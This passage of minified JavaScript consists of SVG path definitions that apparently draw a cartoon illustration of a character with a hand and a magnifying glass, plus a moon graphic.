36.36,10.368 54.576,11.735c0.36,-47.159 6.408,-89.063 18.144,-132.191l-25.992,0Z",style:{fill:"#fff"}}),l("path",{d:"M267.88,252.749c2.952,1.657 8.856,5.185 12.384,3.744l6.192,-2.519l30.816,61.271c-9.072,10.153 -51.624,11.088 -65.952,-3.527c-4.68,-4.824 -6.12,-11.952 -5.4,-20.952l-9.144,-14.832c-12.6,-18.288 12.888,-33.624 31.104,-23.185Z",style:{fill:"#5f6f8b"}}),l("path",{d:"M262.912,258.077c-13.824,-7.92 -27.936,3.672 -28.44,18c-0.36,9.361 5.472,20.017 12.168,26.065c16.056,14.472 42.768,18.143 60.696,9.72l-24.336,-48.6c-5.544,2.231 -12.672,-0.937 -20.088,-5.185Z",style:{fill:"#d2e9f1"}}),l("path",{d:"M262.912,258.077c-9.504,-5.399 -19.08,-1.727 -24.336,5.832c-2.52,3.529 -2.088,7.849 -0.432,11.809c7.632,18.216 47.16,28.872 63.792,25.271l-18.936,-37.727c-5.544,2.231 -12.672,-0.937 -20.088,-5.185Z",style:{fill:"#fff"}}),l("path",{d:"M336.136,279.894c-2.736,-21.96 -22.68,-37.512 -44.64,-34.777c-11.592,1.441 -21.384,7.632 -27.648,16.49c-5.616,7.846 -8.856,31.894 10.296,40.319l22.464,15.264l-21.672,1.368c7.56,4.824 16.776,7.128 26.352,5.975c21.96,-2.735 37.512,-22.679 34.848,-44.639Z",style:{fill:"#5f6f8b"}}),l("path",{d:"M329.872,280.686c2.304,18.431 -10.872,35.28 -29.304,37.584c-18.504,2.303 -35.352,-10.872 -37.584,-29.304c-2.304,-18.505 10.8,-35.352 29.304,-37.656c18.504,-2.233 35.28,10.872 37.584,29.376Z",style:{fill:"#d2e9f1"}}),l("path",{d:"M262.984,288.966c-2.304,-18.505 10.8,-35.352 29.304,-37.656c5.688,-0.649 11.16,0.072 16.2,2.015c0.576,1.945 1.008,3.96 1.296,5.977c3.96,32.111 -36,48.239 -46.8,29.664Z",style:{fill:"#fff"}}),l("path",{d:"M286.528,250.373c15.48,-8.279 33.912,-0.863 41.184,16.633c7.272,17.495 0.648,38.376 -14.832,46.728c-15.48,8.28 -33.912,0.864 -41.256,-16.632c-7.272,-17.496 -0.576,-38.375 14.904,-46.729Z",style:{fill:"#fff"}}),l("path",{d:"M289.48,254.694c14.184,-7.128 31.104,-0.648 37.872,14.471c6.696,15.12 0.648,33.193 -13.608,40.393c-14.184,7.128 -31.104,0.647 -37.872,-14.473c-6.696,-15.119 -0.648,-33.19 13.608,-40.391Z",style:{fill:"#5f6f8b"}}),l("path",{d:"M330.016,283.997c-3.816,5.473 -9.288,10.225 -16.128,13.536c-11.808,5.832 -24.984,6.193 -35.64,1.945c-0.864,-1.368 -1.656,-2.809 -2.376,-4.393c-6.696,-15.119 -0.648,-33.19 13.608,-40.391c14.184,-7.128 31.104,-0.648 37.872,14.471c2.088,4.824 2.952,9.865 2.664,14.832Z",style:{fill:"#9c4822"}}),l("path",{d:"M199.12,294.654l45,1.656c1.152,0.072 2.088,1.151 2.016,2.448l-1.008,26.928c0,1.296 -1.008,2.231 -2.232,2.231l-45,-1.727c-1.152,0 -2.088,-1.08 -2.016,-2.376l1.008,-26.928c0,-1.296 1.008,-2.305 2.232,-2.232Z",style:{fill:"#3157a7"}}),l("path",{d:"M209.56,295.014l12.024,0.504l-1.152,31.536l-22.536,-0.864c-1.152,0 -2.088,-1.08 -2.016,-2.376l0.504,-13.176c4.968,-4.32 9.432,-9.433 13.176,-15.624Z",style:{fill:"#3c62ae"}}),l("path",{d:"M224.176,300.63c0,-0.144 -0.144,-0.288 -0.288,-0.288l-4.32,-0.144c-0.144,0 -0.288,0.072 -0.288,0.288l-0.72,19.872c0,0.143 0.072,0.288 0.288,0.288l4.248,0.143c0.144,0 0.288,-0.143 0.288,-0.288l0.792,-19.871Zm10.08,5.256l-0.36,9.647c0,0.649 0,1.873 -0.216,2.449c-0.216,0.431 -0.576,0.719 -1.008,0.648c-0.504,0 -0.864,-0.217 -1.008,-0.648c-0.144,-0.576 -0.072,-1.8 -0.072,-2.376l0.432,-9.865c0,-0.431 0,-1.656 0.36,-2.087c0.216,-0.289 0.504,-0.432 0.864,-0.432c0.432,0 0.792,0.216 0.936,0.647c0.144,0.504 0.144,1.513 0.072,2.017Zm4.68,7.056l0.072,-3.6c0.072,-1.44 0.144,-3.097 0.072,-4.536c-0.072,-0.792 -0.36,-1.584 -0.864,-2.233c-0.504,-0.792 -1.152,-1.295 -1.944,-1.656c-0.936,-0.431 -1.944,-0.647 -2.952,-0.647c-1.008,-0.072 -2.016,0.072 -3.024,0.431c-0.792,0.361 -1.512,0.792 -2.016,1.513c-0.504,0.648 -0.864,1.44 -1.008,2.232c-0.216,1.44 -0.216,3.024 -0.288,4.463l-0.144,3.601c-0.072,1.439 -0.144,3.096 0,4.535c0.072,0.864 0.36,1.585 0.864,2.305c0.432,0.72 1.152,1.223 1.944,1.656c0.936,0.359 1.872,0.575 2.88,0.575c1.008,0.073 2.088,-0.071 3.024,-0.431c0.792,-0.288 1.512,-0.792 2.088,-1.512c0.504,-0.649 0.792,-1.368 0.936,-2.232c0.216,-1.44 0.288,-3.024 0.36,-4.464Zm-28.728,-8.785c0.144,3.025 0.288,5.977 0.504,8.928l0,0.361l-2.52,-0.144l0.072,-0.288c0.288,-2.952 0.864,-5.977 1.368,-8.857l0,-0.288l0.576,0.073l0,0.215Zm3.384,-3.959c0,-0.144 -0.144,-0.289 -0.288,-0.289l-6.912,-0.215c-0.144,0 -0.288,0.072 -0.288,0.215l-3.384,19.8l0.072,0.217l0.216,0.144l4.392,0.144c0.216,0 0.36,-0.144 0.36,-0.288l0.432,-3.456l2.52,0.071l0.144,3.529c0,0.144 0.144,0.288 0.288,0.288l4.32,0.143l0.216,-0.071c0.072,-0.072 0.144,-0.145 0.072,-0.288l-2.16,-19.944Z",style:{fill:"#3157a7"}}),l("path",{d:"M224.392,300.701c0,-0.143 -0.144,-0.288 -0.36,-0.359l-4.536,-0.144c-0.216,0 -0.36,0.144 -0.36,0.288l-0.792,21.383c0,0.145 0.144,0.288 0.288,0.288l4.608,0.216c0.144,0 0.288,-0.143 0.288,-0.359l0.864,-21.313Zm10.872,5.617l-0.432,10.368c0,0.72 -0.072,2.015 -0.288,2.664c-0.144,0.504 -0.576,0.72 -1.08,0.72c-0.504,-0.073 -0.864,-0.289 -1.008,-0.72c-0.144,-0.576 -0.072,-1.944 -0.072,-2.592l0.36,-10.513c0.072,-0.576 0.072,-1.872 0.432,-2.303c0.216,-0.361 0.576,-0.504 0.936,-0.432c0.504,0 0.864,0.216 1.008,0.647c0.144,0.504 0.144,1.584 0.144,2.161Zm4.896,7.631l0.144,-3.887c0.072,-1.584 0.144,-3.313 0.072,-4.824c-0.072,-0.936 -0.432,-1.728 -0.936,-2.52c-0.504,-0.792 -1.224,-1.368 -2.088,-1.729c-1.008,-0.431 -2.088,-0.647 -3.096,-0.719c-1.152,0 -2.232,0.072 -3.24,0.504c-0.936,0.36 -1.656,0.864 -2.232,1.584c-0.576,0.719 -0.936,1.511 -1.08,2.448c-0.216,1.512 -0.216,3.239 -0.288,4.752l-0.144,3.888c-0.072,1.584 -0.144,3.312 -0.072,4.896c0.072,0.863 0.432,1.655 0.936,2.447c0.504,0.792 1.224,1.368 2.088,1.729c1.008,0.431 2.088,0.647 3.168,0.72c1.08,0 2.16,-0.073 3.24,-0.504c0.864,-0.361 1.584,-0.865 2.16,-1.584c0.576,-0.72 0.936,-1.512 1.08,-2.449c0.216,-1.511 0.288,-3.24 0.288,-4.752Zm-30.816,-9.431c0.144,3.168 0.36,6.336 0.576,9.576l0,0.359l-2.736,-0.143l0.072,-0.361c0.36,-3.168 0.936,-6.335 1.44,-9.503l0.072,-0.289l0.576,0.073l0,0.288Zm3.672,-4.248c-0.072,-0.216 -0.144,-0.288 -0.36,-0.361l-7.344,-0.215c-0.144,0 -0.288,0.072 -0.36,0.215l-3.6,21.241l0.072,0.288l0.216,0.072l4.752,0.216c0.216,0 0.36,-0.145 0.36,-0.288l0.432,-3.744l2.736,0.072l0.144,3.815c0,0.145 0.144,0.288 0.288,0.288l4.68,0.145l0.216,-0.072c0.072,-0.073 0.144,-0.144 0.144,-0.288l-2.376,-21.384Z",style:{fill:"#fff"}}),l("path",{d:"M136.768,275.43l-4.608,-4.536c4.68,-11.233 12.816,-21.24 21.888,-29.521l41.76,1.584c6.624,8.929 11.952,19.441 13.464,30.889l-5.76,4.103l8.496,3.168c-4.752,17.569 -30.096,42.769 -48.456,45l-0.504,0c-17.496,-3.599 -35.64,-30.456 -35.568,-48.168l9.288,-2.519Z",style:{fill:"#7da9b9"}}),l("path",{d:"M163.552,324.39c-14.328,-2.952 -34.416,-27.792 -34.345,-45.145l11.017,-2.952l-5.976,-5.903c2.736,-6.696 9.72,-17.496 20.304,-27.216l20.088,0.72l20.16,0.792c7.776,10.439 11.736,21.672 12.6,28.439l-7.56,5.401l10.08,3.744c-4.68,17.208 -31.392,40.32 -46.368,42.12Z",style:{fill:"#7da9b9"}}),l("path",{d:"M163.912,321.798c8.856,-1.297 20.448,-10.08 26.928,-16.2c5.904,-5.544 13.032,-13.824 15.984,-21.672l-12.312,-4.536l10.152,-7.273c-0.72,-3.671 -1.944,-7.343 -3.384,-10.656c-2.088,-5.039 -4.824,-9.935 -7.992,-14.327l-37.944,-1.44c-4.392,4.175 -8.352,8.712 -11.88,13.536c-2.232,3.168 -4.536,6.767 -6.192,10.368l7.992,7.92l-13.392,3.527c0.72,8.065 5.472,16.704 9.792,22.681c4.752,6.552 13.824,16.128 22.248,18.072Z",style:{fill:"#fff"}}),l("path",{d:"M150.88,252.39l45,1.727c-4.464,29.017 -14.832,51.552 -31.824,66.745c-12.744,-16.344 -16.704,-39.384 -13.176,-68.472Z",style:{fill:"#3157a7"}}),l("path",{d:"M154.912,252.606l18.432,0.647l18.432,0.721c-5.184,10.224 -11.304,19.439 -18.36,27.432c1.08,6.696 2.088,16.416 2.664,25.992c-3.6,4.967 -7.56,9.504 -12.024,13.464c-3.384,-4.321 -6.048,-9 -8.208,-14.256c3.168,-9.432 6.84,-19.008 9.792,-25.561c-4.824,-8.424 -8.352,-17.928 -10.728,-28.439Z",style:{fill:"#17113b"}}),l("path",{d:"M170.032,277.157l-5.976,43.705c-3.384,-4.321 -6.048,-9 -8.208,-14.256c3.168,-9.432 6.84,-19.008 9.792,-25.561c-0.864,-1.367 -1.584,-2.88 -2.376,-4.319c2.16,0.216 4.464,0.359 6.768,0.431Z",style:{fill:"#2b2b57"}}),l("path",{d:"M186.088,285.077c-3.672,-7.2 -7.704,-14.111 -12.384,-20.735l-3.744,-0.144c-6.408,6.192 -12.312,12.744 -17.928,19.583c-1.008,-9.647 -0.72,-19.727 0.432,-29.519l41.4,1.512c-1.656,9.792 -4.104,19.799 -7.776,29.303Z",style:{fill:"#4c76ba"}}),l("path",{d:"M127.624,136.758l39.888,0.072c12.6,-39.24 13.464,-89.856 6.408,-109.872c-1.296,-3.672 -4.176,-2.88 -6.912,-1.296c-28.728,16.704 -47.88,62.208 -39.384,111.096Z",style:{fill:"#492915"}}),l("path",{d:"M134.392,127.614l25.488,0.072c7.344,-25.128 12.816,-65.232 7.56,-91.656c-0.072,-0.288 -0.504,-0.288 -0.648,-0.144c-27.504,19.728 -37.585,61.632 -32.4,91.728Z",style:{fill:"#5e3114"}}),l("path",{d:"M150.16,127.686c8.208,-27.072 12.168,-59.256 9.432,-75.24c-15.48,11.016 -23.616,47.952 -20.448,75.24l11.016,0Z",style:{fill:"#7f3f1b"}}),l("path",{d:"M228.28,123.51c2.952,-15.552 -0.864,-34.992 -16.632,-39.888c-6.336,-2.016 -13.176,0.648 -15.192,5.544c-1.656,3.96 0.36,7.488 1.224,11.304c-5.184,-3.672 -11.376,-1.512 -12.096,3.528c-0.288,2.448 1.08,5.4 4.104,8.712l38.592,10.8Z",style:{fill:"#cb5f2b"}}),l("path",{d:"M202.576,117.102c-0.864,-6.985 -4.968,-11.881 -8.28,-13.536c-4.248,-2.016 -5.616,0.936 -4.536,3.168c1.08,2.16 2.016,5.111 2.304,7.776l10.512,2.592Zm19.296,4.464c2.016,-10.728 -0.432,-21.816 -6.768,-28.368c-6.984,-7.272 -16.848,-5.616 -13.752,4.176c2.016,6.192 2.88,11.376 2.952,20.448l17.568,3.744Z",style:{fill:"#cb5f2b"}}),l("path",{d:"M219.712,100.254c-1.152,-2.664 -2.664,-5.04 -4.608,-7.056c-1.8,-1.872 -3.888,-3.168 -5.832,-3.888c-4.032,-1.44 -7.272,3.24 -4.536,6.408c1.8,2.016 3.096,4.536 4.464,7.704c3.456,7.992 13.608,3.744 10.512,-3.168Z",style:{fill:"#ed7b46"}}),l("path",{d:"M269.248,171.462c8.352,4.104 19.944,14.904 19.728,23.472l-22.536,13.248l-162.936,-16.2c1.368,-23.4 7.056,-45.865 15.408,-67.68c3.168,-8.136 9.648,-12.96 18.432,-14.616c21.024,-3.888 52.2,-1.44 73.368,1.584c17.856,2.52 36.792,6.407 53.712,12.6c5.184,1.872 8.496,6.696 7.992,12.024l-3.168,35.568Z",style:{fill:"#cb5f2b"}}),l("path",{d:"M288.976,194.934c-0.504,7.488 -2.016,13.968 -4.896,21.744c-3.96,10.655 -14.328,31.392 -24.912,36.936c-35.064,18.36 -104.688,8.208 -139.032,-10.153l-16.704,-50.327l0.072,-1.656l1.656,-15.984l96.264,34.704l78.696,-18.936c3.384,1.008 7.272,2.808 8.856,3.672Z",style:{fill:"#a19076"}}),l("path",{d:"M229.72,145.902l39.96,0.144c12.6,-39.241 13.464,-89.856 6.408,-109.872c-1.296,-3.672 -4.176,-2.88 -6.912,-1.296c-28.801,16.632 -47.88,62.208 -39.456,111.024Z",style:{fill:"#492915"}}),l("path",{d:"M236.56,136.83l25.416,0.072c7.416,-25.128 12.816,-65.232 7.632,-91.656c-0.072,-0.36 -0.504,-0.288 -0.72,-0.144c-27.432,19.728 -37.584,61.632 -32.328,91.728Z",style:{fill:"#5e3114"}}),l("path",{d:"M252.328,136.902c8.208,-27.144 12.168,-59.256 9.432,-75.312c-15.48,11.088 -23.616,48.024 -20.448,75.24l11.016,0.072Z",style:{fill:"#7f3f1b"}}),l("path",{d:"M139.288,117.174c27.792,-5.328 86.976,0.72 122.183,13.824c1.225,0.431 2.161,1.512 2.017,2.88l-3.888,42.912c11.232,3.528 18.36,9.648 20.52,14.472c0.072,21.959 -17.424,51.552 -25.488,55.872c-28.512,15.264 -95.616,8.783 -127.08,-8.352l-14.976,-46.224c1.44,-24.624 7.632,-46.872 14.976,-66.096c1.728,-4.608 5.184,-8.064 11.736,-9.288Z",style:{fill:"#cb5f2b"}}),l("path",{d:"M245.2,143.166l-2.592,29.088c8.496,1.944 12.312,3.024 16.992,4.536c11.232,3.528 18.36,9.648 20.52,14.472c0.072,21.959 -17.424,51.552 -25.488,55.872c-28.512,15.264 -95.616,8.783 -127.08,-8.352l-14.976,-46.224c1.44,-24.624 7.632,-46.872 14.976,-66.096c1.728,-4.608 5.184,-8.064 11.736,-9.288c21.096,-4.032 60.408,-1.512 93.456,5.688c5.904,1.296 13.392,10.439 12.456,20.304Z",style:{fill:"#ed7b46"}}),l("path",{d:"M184.216,116.022l0.288,0l0.936,0.071l0.432,0l0.36,0.073l0.216,0l1.224,0.072l0.216,0l0.216,0.072l0.36,0c0.432,0.072 0.864,0.072 1.224,0.072l0.216,0.072l0.648,0l0.072,0.072c0.432,0 0.864,0.072 1.368,0.072l0.144,0.072l0.648,0l1.008,0.144l0.432,0l0.216,0.071l0.432,0l1.008,0.145l0.432,0l0.432,0.072c-10.656,11.16 -13.681,37.728 -13.464,51.336c0.216,14.328 14.616,21.384 28.224,21.816c7.555,0.222 14.814,-0.868 22.183,-1.958c14.12,-2.089 28.644,-4.178 46.433,2.966c0.072,21.959 -17.424,51.552 -25.488,55.872c-28.512,15.264 -95.616,8.783 -127.08,-8.352l-14.976,-46.224c0.288,-5.256 0.863,-10.512 1.512,-15.552c11.663,3.888 27.144,7.344 36.216,7.92c10.655,0.648 19.296,-7.992 19.728,-17.424c0.792,-18.865 4.536,-43.776 13.608,-51.552l0.576,0.072Z",style:{fill:"#f0dfc3"}}),l("path",{d:"M184.216,116.022l0.288,0l0.936,0.071l0.432,0l0.36,0.073l0.216,0l1.224,0.072l0.216,0l0.216,0.072l0.36,0c0.432,0.072 0.864,0.072 1.224,0.072l0.216,0.072l0.648,0l0.072,0.072c0.432,0 0.864,0.072 1.368,0.072l0.144,0.072l0.648,0l1.008,0.144l0.432,0l0.216,0.071l0.432,0l1.008,0.145l0.432,0l0.432,0.072c-10.656,11.16 -13.681,37.728 -13.464,51.336c0.216,14.328 14.616,21.384 28.224,21.816c7.555,0.222 14.814,-0.868 22.183,-1.958c14.12,-2.089 28.644,-4.178 46.433,2.966c-20.016,34.416 -108.432,40.248 -158.4,20.016l-9.144,-18.72c0.288,-5.256 0.863,-10.512 1.512,-15.552c11.663,3.888 27.144,7.344 36.216,7.92c10.655,0.648 19.296,-7.992 19.728,-17.424c0.792,-18.865 4.536,-43.776 13.608,-51.552l0.576,0.072Z",style:{fill:"#fff"}}),l("path",{d:"M221.152,154.398l-1.224,13.392c-1.368,15.192 -27.504,13.104 -26.136,-2.16l1.224,-13.32c1.368,-15.264 27.504,-13.104 26.136,2.088Z",style:{fill:"#fff"}}),l("path",{d:"M220.864,157.782l-1.08,11.52c-1.152,13.176 -20.592,11.448 -19.44,-1.728l0.504,-5.76l9.648,-2.88l-9.072,-2.952c1.152,-13.104 20.592,-11.376 19.44,1.8Z",style:{fill:"#1a1c22"}}),l("path",{d:"M203.584,179.382l19.584,-2.304c-2.664,-6.84 -16.272,-5.472 -19.584,2.304Z",style:{fill:"#ffd696"}}),l("path",{d:"M203.584,179.382c3.6,3.312 15.84,3.816 19.584,-2.304c-8.424,-2.808 -15.12,-0.649 -19.584,2.304Z",style:{fill:"#e37d4e"}}),l("path",{d:"M167.944,149.646l-1.224,13.32c-1.368,15.264 -26.208,12.96 -24.84,-2.232l1.224,-13.32c1.368,-15.264 26.208,-13.032 24.84,2.232Z",style:{fill:"#fff"}}),l("path",{d:"M167.584,152.958l-1.008,11.592c-1.152,13.104 -20.664,11.376 -19.44,-1.8l0.504,-5.688l9.648,-2.88l-9.144,-2.952c1.224,-13.177 20.664,-11.448 19.44,1.728Z",style:{fill:"#1a1c22"}}),l("path",{d:"M196.528,243.966c8.856,-1.44 15.912,1.151 20.448,2.951c3.6,1.368 6.768,1.657 9.432,1.009l10.44,-18.792c-0.072,-0.36 -0.072,-0.792 -0.072,-1.152c-0.432,-4.68 -3.24,-7.777 -5.976,-13.105c-1.368,-2.663 -2.448,-5.255 -3.744,-10.151l-30.528,39.24Z",style:{fill:"#4c2b10"}}),l("path",{d:"M236.848,229.134c-7.488,1.151 -13.68,9.648 -10.44,18.792c7.128,-1.513 10.872,-9.217 10.44,-18.792Z",style:{fill:"#ad6151"}}),l("path",{d:"M237.856,245.478c9.504,0.72 9.792,-8.065 4.392,-14.977c0.288,6.985 -0.288,11.16 -4.392,14.977Z",style:{fill:"#d6b887"}}),l("path",{d:"M87.303,155.909l73.081,6.624c3.816,0.361 13.032,5.041 13.896,8.425l-13.896,12.312l3.96,19.367l36.144,27.433l27.288,-27.288c4.896,18.144 -17.856,51.335 -26.208,55.945c-18.144,9.934 -47.88,10.511 -68.328,5.831c-19.728,-4.536 -38.665,-14.544 -50.473,-32.112c-4.032,-6.048 -6.552,-15.193 -7.847,-22.104c-3.025,-15.696 -2.953,-33.913 2.663,-48.456c1.512,-3.96 5.4,-6.336 9.72,-5.977Z",style:{fill:"#a19076"}}),l("path",{d:"M87.447,163.11l84.025,7.56c-2.592,30.096 23.4,35.352 56.304,32.112c-0.144,21.095 -21.312,45.503 -29.664,50.04c-22.032,12.168 -84.096,13.248 -109.153,-24.121c-6.552,-9.863 -12.888,-41.327 -4.247,-63.863c0.431,-1.152 1.511,-1.8 2.735,-1.728Z",style:{fill:"#f0dfc3"}}),l("path",{d:"M87.447,163.11l84.025,7.56l2.808,0.288c-2.52,30.024 20.592,35.064 53.496,31.824c0,3.672 -0.648,7.488 -1.8,11.231c-4.68,16.705 -14.76,23.833 -24.264,29.089c-21.312,11.736 -49.248,2.952 -80.568,-15.481c-9.792,-5.759 -30.817,-10.223 -32.185,1.08c-6.552,-9.863 -12.888,-41.327 -4.247,-63.863c0.431,-1.152 1.511,-1.8 2.735,-1.728Z",style:{fill:"#fff"}}),l("path",{d:"M78.951,153.318l44.929,4.032c5.472,0.504 8.28,3.455 7.992,9.287c-2.449,52.417 -77.617,48.528 -56.737,-11.159c0.504,-1.44 2.016,-2.304 3.816,-2.16Z",style:{fill:"#17113b"}}),l("path",{d:"M78.951,153.318l17.64,1.584c-3.888,9 -6.408,19.728 -6.552,24.984c-0.288,6.984 0.288,15.12 2.376,22.824c-15.408,-3.024 -27.216,-18.792 -17.28,-47.232c0.504,-1.44 2.016,-2.304 3.816,-2.16Z",style:{fill:"#2b2b57"}}),l("path",{d:"M81.759,157.782l30.961,2.808c1.512,0.072 2.736,0.864 3.384,2.16c0.648,1.224 0.504,2.52 -0.432,3.528c-8.856,10.08 -38.881,7.128 -38.017,-5.4c0.144,-1.944 1.944,-3.312 4.104,-3.096Z",style:{fill:"#697196"}}),l("path",{d:"M167.944,120.198c4.032,-0.145 7.128,1.296 6.984,3.24c-0.216,1.872 -3.6,3.6 -7.56,3.816c-4.032,0.144 -7.128,-1.296 -6.984,-3.241c0.216,-1.871 3.6,-3.599 7.56,-3.815Z",style:{fill:"#ffd696"}}),l("path",{d:"M210.136,123.726c-3.888,-0.864 -7.2,-0.072 -7.344,1.872c-0.216,1.944 2.808,4.247 6.768,5.112c3.888,0.936 7.2,0.072 7.344,-1.872c0.216,-1.944 -2.808,-4.248 -6.768,-5.112Z",style:{fill:"#ffd696"}}),l("g",{id:"Hand-Magnifier","serif:id":"Hand/Magnifier"},[l("g",{id:"Hand-Under","serif:id":"Hand Under"},[l("path",{d:"M298.606,246.346c1.015,-4.391 3.757,-8.058 8.439,-9.202c4.898,-1.216 10.01,-0.775 14.325,1.968c3.668,2.309 6.254,6.13 6.967,10.451c0.713,4.465 -0.518,8.423 -3.043,11.587c2.877,2.02 5.032,5.048 5.674,8.864c0.641,3.674 -0.229,7.345 -2.465,10.364c-2.598,3.525 -6.634,5.607 -10.811,6.607c-2.089,0.5 -4.249,0.426 -6.264,-0.37c-4.677,-1.879 -7.764,-6.996 -8.547,-12.399c-1.082,0.863 -2.379,1.509 -3.891,1.795c-6.194,1.286 -12.312,-0.524 -16.047,-5.787c-1.652,-2.306 -2.656,-5.045 -3.011,-7.851c-0.851,-8.211 3.985,-15.404 12.268,-17.117c1.224,-0.214 2.449,-0.284 3.6,0.006c1.008,0.217 1.943,0.579 2.806,1.084Z",style:{fill:"#cb5f2b"}}),l("path",{d:"M310.824,303.677c14.403,-1.415 24.507,-16.014 22.59,-32.722c-1.917,-16.635 -15.144,-29.04 -29.475,-27.624c-14.402,1.344 -24.506,16.015 -22.589,32.651c1.916,16.707 15.072,29.113 29.474,27.695Z",style:{fill:"#cb5f2b"}}),l("path",{d:"M310.328,299.07c12.17,-1.205 20.758,-13.574 19.125,-27.761c-1.632,-14.115 -12.847,-24.574 -25.017,-23.441c-12.17,1.203 -20.759,13.645 -19.126,27.761c1.633,14.114 12.776,24.645 25.018,23.441Z",style:{fill:"#cb5f2b"}}),l("path",{d:"M320.126,295.27c6.56,-4.958 10.463,-14.023 9.327,-23.961c-1.632,-14.115 -12.847,-24.574 -25.017,-23.441c-1.945,0.213 -3.745,0.713 -5.475,1.431c-1.975,19.293 8.073,38.389 21.165,45.971Z",style:{fill:"#ed7b46"}}),l("path",{d:"M305.659,292.221c8.713,-0.849 14.848,-9.695 13.713,-19.85c-1.136,-10.08 -9.188,-17.582 -17.901,-16.732c-8.713,0.778 -14.848,9.696 -13.713,19.85c1.208,10.081 9.188,17.582 17.901,16.732Z",style:{fill:"#f0ad76"}})]),l("g",{id:"Magnifying-Glass","serif:id":"Magnifying Glass"},[l("path",{d:"M289.502,222.354l7.202,-1.643l9.937,43.793c0.786,3.384 -6.489,5.029 -7.275,1.644l-9.864,-43.794Z",style:{fill:"#5a6d75"}}),l("path",{d:"M291.204,237.693l10.588,-2.429c1.945,-0.43 3.887,0.798 4.316,2.815l10.865,48.112c1.501,6.556 -16.431,9.262 -17.647,4.005l-10.865,-48.114c-0.428,-2.018 0.799,-3.959 2.743,-4.389Z",style:{fill:"#17113b"}}),l("path",{d:"M296.462,236.479l5.33,-1.215c1.945,-0.43 3.887,0.798 4.316,2.815l10.865,48.112c0.787,3.243 -3.321,5.612 -7.787,6.397l-12.724,-56.109Z",style:{fill:"#2b2b57"}}),l("clipPath",{id:"_clip1"},[l("path",{d:"M285.283,217.268c-0.382,0 -0.762,-0.007 -1.142,-0.019c0.038,-0.102 0.075,-0.202 0.113,-0.302c2.893,-7.772 4.416,-14.249 4.932,-21.736c0.23,-8.568 -11.344,-19.387 -19.689,-23.505l0.759,-8.375c4.359,-4.276 9.927,-7.431 16.333,-8.877c2.563,-0.586 5.124,-0.866 7.646,-0.862c6.692,0.011 13.102,2.021 18.482,5.585c-6.3,-8.487 -16.4,-13.705 -27.225,-13.722c-2.507,-0.004 -5.056,0.27 -7.602,0.849c-2.196,0.498 -4.292,1.197 -6.278,2.077l0.377,-4.148c1.643,-0.621 3.351,-1.135 5.115,-1.53c2.816,-0.634 5.631,-0.937 8.402,-0.932c17.215,0.028 32.765,11.888 36.768,29.446c4.574,20.312 -8.203,40.523 -28.514,45.097c-2.842,0.65 -5.68,0.959 -8.477,0.954Z"})]),l("g",{"clip-path":"url(#_clip1)"},[l("path",{d:"M269.546,141.745l57.384,0.094l-0.124,75.498l-57.384,-0.095l0.124,-75.497Z",style:{fill:"#fff","fill-rule":"nonzero"}})]),l("path",{d:"M275.979,138.377c22.293,-5.048 44.491,8.953 49.54,31.247c5.048,22.294 -8.953,44.492 -31.247,49.54c-22.294,5.048 -44.492,-8.953 -49.54,-31.247c-5.048,-22.293 8.953,-44.491 31.247,-49.54Z",style:{fill:"#fff","fill-opacity":"0.45"}}),l("path",{d:"M277.104,142.703c-20.383,4.574 -33.088,24.786 -28.514,45.169c4.575,20.312 24.858,33.088 45.17,28.442c20.311,-4.574 33.088,-24.785 28.514,-45.097c-4.647,-20.384 -24.858,-33.089 -45.17,-28.514Zm-2.787,-12.389c27.154,-6.147 54.126,10.889 60.273,38.043c6.148,27.225 -10.889,54.198 -38.043,60.345c-27.154,6.148 -54.198,-10.888 -60.345,-38.042c-6.148,-27.155 10.888,-54.198 38.115,-60.346Z",style:{fill:"#7da9b9"}}),l("path",{d:"M276.746,141.334c21.104,-4.789 42.107,8.42 46.896,29.525c4.718,21.104 -8.493,42.106 -29.597,46.824c-21.104,4.789 -42.034,-8.421 -46.823,-29.526c-4.79,-21.103 8.493,-42.033 29.524,-46.823Zm-2.144,-9.652c26.434,-6.004 52.687,10.599 58.62,37.033c6.004,26.362 -10.599,52.687 -36.961,58.619c-26.433,6.005 -52.686,-10.599 -58.691,-37.032c-5.933,-26.362 10.598,-52.615 37.032,-58.62Z",style:{fill:"#7da9b9"}}),l("path",{d:"M274.888,133.051c-24.417,5.504 -40.151,28.877 -36.591,53.292c0.64,4.537 7.626,3.541 6.985,-1.068c-2.99,-20.741 10.435,-40.591 31.179,-45.309c20.815,-4.718 41.459,7.484 47.691,27.51c1.36,4.393 8.132,2.317 6.771,-2.149c-7.305,-23.484 -31.618,-37.78 -56.035,-32.276Z",style:{fill:"#d2e9f1"}}),l("g",{id:"Moon"},[l("path",{d:"M266.772,207.99c-0.69,-0.455 -1.364,-0.935 -2.022,-1.438c0.236,-0.145 0.468,-0.29 0.7,-0.436c0.419,0.642 0.86,1.266 1.322,1.874Z",style:{fill:"#fbf7ed","fill-opacity":"0.76","fill-rule":"nonzero"}}),l("path",{d:"M270.256,163.331l1.356,-14.95c1.986,-0.88 4.082,-1.579 6.278,-2.077c2.546,-0.579 5.095,-0.853 7.602,-0.849c10.825,0.017 20.925,5.235 27.225,13.722c-5.38,-3.564 -11.79,-5.574 -18.482,-5.585c-2.522,-0.004 -5.083,0.276 -7.646,0.862c-6.406,1.446 -11.974,4.601 -16.333,8.877Z",style:{fill:"#fff","fill-opacity":"0.76","fill-rule":"nonzero"}}),l("path",{d:"M261.558,177.592c-0.563,-0.197 -1.135,-0.389 -1.718,-0.573l2.039,-22.103c2.797,-2.683 6.075,-4.914 9.733,-6.535l-1.356,14.95c-4.029,3.951 -7.026,8.86 -8.698,14.261Z",style:{fill:"#fff","fill-opacity":"0.76","fill-rule":"nonzero"}}),l("path",{d:"M261.558,177.592c-0.563,-0.197 -1.135,-0.389 -1.718,-0.573c-2.653,-0.863 -5.027,-1.585 -8.134,-2.406c1.107,-7.54 4.735,-14.479 10.173,-19.697l-2.039,22.103c0.583,0.184 1.155,0.376 1.718,0.573Z",style:{fill:"#fff","fill-opacity":"0.76","fill-rule":"nonzero"}}),l("path",{d:"M260.053,186.734c-1.83,-0.139 -3.633,-0.203 -5.411,-0.206c-0.855,-0.001 -1.705,0.011 -2.549,0.037c-0.86,-4.042 -0.957,-8.076 -0.387,-11.952c3.107,0.821 5.481,1.543 8.134,2.406c0.583,0.184 1.155,0.376 1.718,0.573c-0.906,2.928 -1.423,5.999 -1.505,9.142Z",style:{fill:"#fff","fill-opacity":"0.76","fill-rule":"nonzero"}}),l("path",{d:"M264.75,206.552c-6.112,-4.683 -10.687,-11.408 -12.558,-19.538c-0.034,-0.15 -0.067,-0.3 -0.099,-0.449c0.844,-0.026 